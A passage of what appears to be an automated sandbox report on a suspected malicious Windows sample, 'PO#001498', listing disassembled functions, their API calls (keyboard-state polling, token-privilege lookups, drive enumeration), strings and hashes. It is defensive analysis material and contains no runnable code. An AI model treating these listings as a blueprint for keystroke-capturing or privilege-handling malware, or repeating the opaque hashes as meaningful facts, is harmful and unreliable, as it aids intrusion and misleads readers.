                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: ConnectRegistry_wcslen
                                                                                                                                                                                • String ID: HH
                                                                                                                                                                                • API String ID: 535477410-2761332787
                                                                                                                                                                                • Opcode ID: cc03a81e182be6ba1e7ee8022fe76587c4fcfc5607386b983ff95d826003d501
                                                                                                                                                                                • Instruction ID: 7a368be733395892e28f24b11b3b05e85d853a2cd395d98498a1c99032eed9d9
                                                                                                                                                                                • Opcode Fuzzy Hash: cc03a81e182be6ba1e7ee8022fe76587c4fcfc5607386b983ff95d826003d501
                                                                                                                                                                                • Instruction Fuzzy Hash: 63E171B1604200ABC714EF28C981F1BB7E4EF88704F148A1EF685DB381D779E945CB9A
                                                                                                                                                                                Function 00460473 Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 255COMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • GetClassNameW.USER32(?,?,00000400), ref: 004604B5
                                                                                                                                                                                • GetWindowTextW.USER32(?,?,00000400), ref: 004604F1
                                                                                                                                                                                • _wcslen.LIBCMT ref: 00460502
                                                                                                                                                                                • CharUpperBuffW.USER32(?,00000000), ref: 00460510
                                                                                                                                                                                • GetClassNameW.USER32(?,?,00000400), ref: 00460589
                                                                                                                                                                                • GetWindowTextW.USER32(?,?,00000400), ref: 004605C2
                                                                                                                                                                                • GetClassNameW.USER32(?,?,00000400), ref: 00460606
                                                                                                                                                                                • GetClassNameW.USER32(?,?,00000400), ref: 0046063E
                                                                                                                                                                                • GetWindowRect.USER32(?,?), ref: 004606AD
                                                                                                                                                                                Strings
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: ClassName$Window$Text$BuffCharRectUpper_wcslen
                                                                                                                                                                                • String ID: ThumbnailClass
                                                                                                                                                                                • API String ID: 4123061591-1241985126
                                                                                                                                                                                • Opcode ID: d81b9eb1014bf0c552f647121340d293adfb5e43e55e37c5a686eb3c785bede7
                                                                                                                                                                                • Instruction ID: b645ef8d54a60b7d8a856e9fdf4d8999e4c56e3b903fe9b51be5921097eabf2a
                                                                                                                                                                                • Opcode Fuzzy Hash: d81b9eb1014bf0c552f647121340d293adfb5e43e55e37c5a686eb3c785bede7
                                                                                                                                                                                • Instruction Fuzzy Hash: 3F91B0715043019FDB14DF24C884BAB77A8EF84715F04896FFD85AA281E778E905CBAB
                                                                                                                                                                                Function 0046F50B Relevance: 17.7, APIs: 7, Strings: 3, Instructions: 157windowCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                  • Part of subcall function 00456354: GetCursorPos.USER32(004A83D8), ref: 0045636A
                                                                                                                                                                                  • Part of subcall function 00456354: ScreenToClient.USER32(004A83D8,?), ref: 0045638A
                                                                                                                                                                                  • Part of subcall function 00456354: GetAsyncKeyState.USER32(?), ref: 004563D0
                                                                                                                                                                                  • Part of subcall function 00456354: GetAsyncKeyState.USER32(?), ref: 004563DC
                                                                                                                                                                                • DefDlgProcW.USER32(?,00000205,?,?,004A83D8,00000000,00000001,004A83D8,?), ref: 0046F55F
                                                                                                                                                                                • ImageList_DragLeave.COMCTL32(00000000,004A83D8,00000000,00000001,004A83D8,?), ref: 0046F57D
                                                                                                                                                                                • ImageList_EndDrag.COMCTL32 ref: 0046F583
                                                                                                                                                                                • ReleaseCapture.USER32 ref: 0046F589
                                                                                                                                                                                • SetWindowTextW.USER32(?,00000000), ref: 0046F620
                                                                                                                                                                                • SendMessageW.USER32(?,000000B1,00000000,000000FF), ref: 0046F630
                                                                                                                                                                                Strings
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: AsyncDragImageList_State$CaptureClientCursorLeaveMessageProcReleaseScreenSendTextWindow
                                                                                                                                                                                • String ID: @GUI_DRAGFILE$@GUI_DROPID$HH
                                                                                                                                                                                • API String ID: 2483343779-2060113733
                                                                                                                                                                                • Opcode ID: 5127d0ffcd17cb1bef4f2f1971358f36b919fc832d8745dd5c7fc1032c5585dd
                                                                                                                                                                                • Instruction ID: 4b94e37398fb4c0e8bf176de98e3888209b69965db7f8e5b86c8cb252d1f017b
                                                                                                                                                                                • Opcode Fuzzy Hash: 5127d0ffcd17cb1bef4f2f1971358f36b919fc832d8745dd5c7fc1032c5585dd
                                                                                                                                                                                • Instruction Fuzzy Hash: EB5106716043119BD700DF18DC85FAF77A5EB89310F04492EF941973A2DB789D49CBAA
                                                                                                                                                                                Function 0046FD7F Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 143windowCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • ExtractIconExW.SHELL32(?,?,00000000,?,00000001), ref: 0046FD8A
                                                                                                                                                                                • ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001,004A83D8,?), ref: 0046FDF0
                                                                                                                                                                                • SendMessageW.USER32(?,00001109,00000000,00000000), ref: 0046FE0E
                                                                                                                                                                                • ImageList_ReplaceIcon.COMCTL32(?,000000FF,?,004A83D8,?), ref: 0046FE20
                                                                                                                                                                                • SendMessageW.USER32(?,0000113E,00000000,?), ref: 0046FEA5
                                                                                                                                                                                • SendMessageW.USER32(?,0000113F,00000000,?), ref: 0046FEDF
                                                                                                                                                                                • GetClientRect.USER32(?,?), ref: 0046FEF2
                                                                                                                                                                                • RedrawWindow.USER32(?,?,00000000,00000000), ref: 0046FF02
                                                                                                                                                                                • DestroyIcon.USER32(?), ref: 0046FFCC
                                                                                                                                                                                Strings
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: IconMessageSend$ImageList_$ClientCreateDestroyExtractRectRedrawReplaceWindow
                                                                                                                                                                                • String ID: 2
                                                                                                                                                                                • API String ID: 1331449709-450215437
                                                                                                                                                                                • Opcode ID: 0839cb131ab93339cce718f32a9fb856b385d6e902e652cc812f2dbbb554e4d7
                                                                                                                                                                                • Instruction ID: e79942d1a0196d9b5e30c5c178d8ccafd59c9ae1e7fac48b8759c586c5a3b44e
                                                                                                                                                                                • Opcode Fuzzy Hash: 0839cb131ab93339cce718f32a9fb856b385d6e902e652cc812f2dbbb554e4d7
                                                                                                                                                                                • Instruction Fuzzy Hash: EB51AC702043019FD320CF44D885BAABBE5FB88700F04487EE684872A2D7B5A849CB5A
                                                                                                                                                                                Function 004393E2 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 109threadCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • GetCurrentProcess.KERNEL32(00000008,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00439409
                                                                                                                                                                                • OpenThreadToken.ADVAPI32(00000000,?,?,?,?,?,?,?,?,?), ref: 0043940C
                                                                                                                                                                                • GetCurrentProcess.KERNEL32(00000008,?,?,?,?,?,?,?,?,?,?), ref: 0043941D
                                                                                                                                                                                • OpenProcessToken.ADVAPI32(00000000,?,?,?,?,?,?,?,?,?), ref: 00439420
                                                                                                                                                                                • LookupPrivilegeValueW.ADVAPI32(00000000,SeAssignPrimaryTokenPrivilege,?), ref: 0043945B
                                                                                                                                                                                • LookupPrivilegeValueW.ADVAPI32(00000000,SeIncreaseQuotaPrivilege,?), ref: 00439474
                                                                                                                                                                                • _memcmp.LIBCMT ref: 004394A9
                                                                                                                                                                                • CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 004394F8
                                                                                                                                                                                Strings
                                                                                                                                                                                • SeIncreaseQuotaPrivilege, xrefs: 0043946A
                                                                                                                                                                                • SeAssignPrimaryTokenPrivilege, xrefs: 00439455
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: Process$CurrentLookupOpenPrivilegeTokenValue$CloseHandleThread_memcmp
                                                                                                                                                                                • String ID: SeAssignPrimaryTokenPrivilege$SeIncreaseQuotaPrivilege
                                                                                                                                                                                • API String ID: 1446985595-805462909
                                                                                                                                                                                • Opcode ID: 7b5964ebc210eec24af21402e2b7f40e95def761f5b1447ed6d44f65f7ea18b7
                                                                                                                                                                                • Instruction ID: 628aaead06b6f58e004e5b45c2ed9710a22b4d2b921ab75b424857e8fd72c9d6
                                                                                                                                                                                • Opcode Fuzzy Hash: 7b5964ebc210eec24af21402e2b7f40e95def761f5b1447ed6d44f65f7ea18b7
                                                                                                                                                                                • Instruction Fuzzy Hash: DB31A371508312ABC710DF21CD41AAFB7E8FB99704F04591EF98193240E7B8DD4ACBAA
                                                                                                                                                                                Function 0045D83D Relevance: 17.6, APIs: 3, Strings: 7, Instructions: 86COMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • SetErrorMode.KERNEL32(00000001), ref: 0045D848
                                                                                                                                                                                • GetDriveTypeW.KERNEL32(?,?), ref: 0045D8A3
                                                                                                                                                                                • SetErrorMode.KERNEL32(?,00000001,00000000), ref: 0045D94A
                                                                                                                                                                                Strings
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: ErrorMode$DriveType
                                                                                                                                                                                • String ID: CDROM$Fixed$Network$RAMDisk$Removable$Unknown$HH
                                                                                                                                                                                • API String ID: 2907320926-41864084
                                                                                                                                                                                • Opcode ID: f2537af69be7bdfb8cd077d5fba63d09357e4425d7c4eca9e5473fe3d57dd33a
                                                                                                                                                                                • Instruction ID: d4cab332979e247f8c2da9788294718902473fa09eb5ff996f03d25688ce9cbb
                                                                                                                                                                                • Opcode Fuzzy Hash: f2537af69be7bdfb8cd077d5fba63d09357e4425d7c4eca9e5473fe3d57dd33a
                                                                                                                                                                                • Instruction Fuzzy Hash: C7318B75A083008FC310EF65E48481EB7A1AFC8315F648D2FF945A7362C779D9068BAB
                                                                                                                                                                                Function 00467214 Relevance: 16.8, APIs: 11, Instructions: 313COMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • SafeArrayAccessData.OLEAUT32(CE8B7824,?), ref: 004672E6
                                                                                                                                                                                • SafeArrayUnaccessData.OLEAUT32(CE8B7824), ref: 0046735D
                                                                                                                                                                                • SafeArrayAccessData.OLEAUT32(CE8B7824,?), ref: 00467375
                                                                                                                                                                                • SafeArrayUnaccessData.OLEAUT32(CE8B7824), ref: 004673ED
                                                                                                                                                                                • SafeArrayGetVartype.OLEAUT32(CE8B7824,?), ref: 00467418
                                                                                                                                                                                • SafeArrayAccessData.OLEAUT32(CE8B7824,?), ref: 00467445
                                                                                                                                                                                • SafeArrayUnaccessData.OLEAUT32(CE8B7824), ref: 0046746A
                                                                                                                                                                                • SafeArrayUnaccessData.OLEAUT32(CE8B7824), ref: 00467559
                                                                                                                                                                                • SafeArrayAccessData.OLEAUT32(CE8B7824,?), ref: 0046748A
                                                                                                                                                                                  • Part of subcall function 0041171A: std::bad_alloc::bad_alloc.LIBCMT ref: 00411757
                                                                                                                                                                                  • Part of subcall function 0041171A: std::bad_exception::bad_exception.LIBCMT ref: 0041176B
                                                                                                                                                                                  • Part of subcall function 0041171A: __CxxThrowException@8.LIBCMT ref: 00411779
                                                                                                                                                                                • SafeArrayAccessData.OLEAUT32(CE8B7824,?), ref: 00467571
                                                                                                                                                                                • SafeArrayUnaccessData.OLEAUT32(CE8B7824), ref: 004675E4
                                                                                                                                                                                  • Part of subcall function 0041171A: _malloc.LIBCMT ref: 00411734
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: ArraySafe$Data$AccessUnaccess$Exception@8ThrowVartype_mallocstd::bad_alloc::bad_allocstd::bad_exception::bad_exception
                                                                                                                                                                                • String ID:
                                                                                                                                                                                • API String ID: 1932665248-0
                                                                                                                                                                                • Opcode ID: 2f069d425a14989955c91583bf1eee78d18cf75f4644af0e6fd4452b58d9bd04
                                                                                                                                                                                • Instruction ID: 42a0e90c8bf2b482c85e144861ec280134e9fb1dbd9e00a0d693b148f8e5f150
                                                                                                                                                                                • Opcode Fuzzy Hash: 2f069d425a14989955c91583bf1eee78d18cf75f4644af0e6fd4452b58d9bd04
                                                                                                                                                                                • Instruction Fuzzy Hash: E8B1BF752082009FD304DF29C884B6B77E5FF98318F14496EE98587362E779E885CB6B
                                                                                                                                                                                Function 004480F2 Relevance: 16.7, APIs: 11, Instructions: 184windowCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • SendMessageW.USER32(?,0000101F,00000000,00000000), ref: 00448182
                                                                                                                                                                                • SendMessageW.USER32(00000000,?,0000101F,00000000), ref: 00448185
                                                                                                                                                                                • GetWindowLongW.USER32(?,000000F0), ref: 004481A7
                                                                                                                                                                                • _memset.LIBCMT ref: 004481BA
                                                                                                                                                                                • SendMessageW.USER32(?,00001004,00000000,00000000), ref: 004481CC
                                                                                                                                                                                • SendMessageW.USER32(?,0000104D,00000000,00000007), ref: 0044824E
                                                                                                                                                                                • SendMessageW.USER32(?,00001074,?,00000007), ref: 004482A4
                                                                                                                                                                                • SendMessageW.USER32(?,00001057,00000000,00000000), ref: 004482BE
                                                                                                                                                                                • SendMessageW.USER32(?,0000101D,00000001,00000000), ref: 004482E3
                                                                                                                                                                                • SendMessageW.USER32(?,0000101E,00000001,00000000), ref: 004482FC
                                                                                                                                                                                • SendMessageW.USER32(?,00001008,?,00000007), ref: 00448317
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: MessageSend$LongWindow_memset
                                                                                                                                                                                • String ID:
                                                                                                                                                                                • API String ID: 830647256-0
                                                                                                                                                                                • Opcode ID: 45db6e2e50868ce621a7577b0335e91e45f99dc9c013701cc26792922a244152
                                                                                                                                                                                • Instruction ID: 69fd08a602074ed3d664547bad3ac5a94a9e6c02d61aa1d07dc3907ec7ad0976
                                                                                                                                                                                • Opcode Fuzzy Hash: 45db6e2e50868ce621a7577b0335e91e45f99dc9c013701cc26792922a244152
                                                                                                                                                                                • Instruction Fuzzy Hash: 41616F70208341AFE310DF54C881FABB7A4FF89704F14465EFA909B2D1DBB5A945CB56
                                                                                                                                                                                Function 0046EA7F Relevance: 16.7, APIs: 11, Instructions: 167windowCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                  • Part of subcall function 0043343D: InvalidateRect.USER32(?,00000000,00000001), ref: 004334BE
                                                                                                                                                                                • DestroyAcceleratorTable.USER32(?), ref: 0046EA9F
                                                                                                                                                                                • ImageList_Destroy.COMCTL32(?), ref: 0046EB04
                                                                                                                                                                                • ImageList_Destroy.COMCTL32(?), ref: 0046EB18
                                                                                                                                                                                • ImageList_Destroy.COMCTL32(?), ref: 0046EB24
                                                                                                                                                                                • DeleteObject.GDI32(00520000), ref: 0046EB4F
                                                                                                                                                                                • DestroyIcon.USER32(004F0044), ref: 0046EB67
                                                                                                                                                                                • DeleteObject.GDI32(3733C686), ref: 0046EB7F
                                                                                                                                                                                • DestroyWindow.USER32(006C0061), ref: 0046EB97
                                                                                                                                                                                • DestroyIcon.USER32(?), ref: 0046EBBF
                                                                                                                                                                                • DestroyIcon.USER32(?), ref: 0046EBCD
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: Destroy$IconImageList_$DeleteObject$AcceleratorInvalidateRectTableWindow
                                                                                                                                                                                • String ID:
                                                                                                                                                                                • API String ID: 802431696-0
                                                                                                                                                                                • Opcode ID: 294737084f3018da842919bbfa865d3a976cdf3ad66c8c89ec2250206a47d952
                                                                                                                                                                                • Instruction ID: 42d633cefbe7d7192e7a113645d0a532909e6831d49db23f2259be933aabe8c6
                                                                                                                                                                                • Opcode Fuzzy Hash: 294737084f3018da842919bbfa865d3a976cdf3ad66c8c89ec2250206a47d952
                                                                                                                                                                                • Instruction Fuzzy Hash: 17513178600202DFDB14DF26D894E2A77E9FB4AB14B54446EE502CB361EB38EC41CB5E
                                                                                                                                                                                Function 00444D52 Relevance: 16.6, APIs: 11, Instructions: 132keyboardCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • GetKeyboardState.USER32(?,?,?), ref: 00444D8A
                                                                                                                                                                                • GetAsyncKeyState.USER32(000000A0), ref: 00444E0F
                                                                                                                                                                                • GetKeyState.USER32(000000A0), ref: 00444E26
                                                                                                                                                                                • GetAsyncKeyState.USER32(000000A1), ref: 00444E40
                                                                                                                                                                                • GetKeyState.USER32(000000A1), ref: 00444E51
                                                                                                                                                                                • GetAsyncKeyState.USER32(00000011), ref: 00444E69
                                                                                                                                                                                • GetKeyState.USER32(00000011), ref: 00444E77
                                                                                                                                                                                • GetAsyncKeyState.USER32(00000012), ref: 00444E8F
                                                                                                                                                                                • GetKeyState.USER32(00000012), ref: 00444E9D
                                                                                                                                                                                • GetAsyncKeyState.USER32(0000005B), ref: 00444EB5
                                                                                                                                                                                • GetKeyState.USER32(0000005B), ref: 00444EC3
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: State$Async$Keyboard
                                                                                                                                                                                • String ID:
                                                                                                                                                                                • API String ID: 541375521-0
                                                                                                                                                                                • Opcode ID: d4a73a67db12bad31d9fb613c99c8778707defbe90317bf640d05d8e99de570f
                                                                                                                                                                                • Instruction ID: c605e69a62dfc64c618b97cb3a1930d242a0674024be490a091b983f03ece729
                                                                                                                                                                                • Opcode Fuzzy Hash: d4a73a67db12bad31d9fb613c99c8778707defbe90317bf640d05d8e99de570f
                                                                                                                                                                                • Instruction Fuzzy Hash: 6A41C3646087C52DFB31966484017E7FFD16FA2708F58844FD1C5067C2DBAEA9C8C7AA
                                                                                                                                                                                Function 00474335 Relevance: 16.1, APIs: 8, Strings: 1, Instructions: 308COMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                Strings
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID:
                                                                                                                                                                                • String ID: HH
                                                                                                                                                                                • API String ID: 0-2761332787
                                                                                                                                                                                • Opcode ID: 42510643c9cdba6d1e7b7cb61b235febd1ff76eef9dce87624ca7f12cd0f3b2e
                                                                                                                                                                                • Instruction ID: 1932890218e454eaab518c2d08cf67ea4bcb6b95680f1d85a47b5a5cee1eebd3
                                                                                                                                                                                • Opcode Fuzzy Hash: 42510643c9cdba6d1e7b7cb61b235febd1ff76eef9dce87624ca7f12cd0f3b2e
                                                                                                                                                                                • Instruction Fuzzy Hash: 99A1A1726043009BD710EF65DC82B6BB3E9ABD4718F008E2EF558E7281D779E9448B5A
                                                                                                                                                                                Function 004507E7 Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 146windowCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • SendMessageW.USER32(00000000,00001036,00000010,00000010), ref: 004508CB
                                                                                                                                                                                • SendMessageW.USER32(?,00001036,00000000,?), ref: 004508DB
                                                                                                                                                                                • SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,00000013,?,00001036,00000000,?,000000FF,?,SysListView32,004848E8,00000000), ref: 004508FC
                                                                                                                                                                                • _wcslen.LIBCMT ref: 00450944
                                                                                                                                                                                • _wcscat.LIBCMT ref: 00450955
                                                                                                                                                                                • SendMessageW.USER32(?,00001057,00000000,?), ref: 0045096C
                                                                                                                                                                                • SendMessageW.USER32(?,00001061,?,?), ref: 0045099B
                                                                                                                                                                                Strings
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
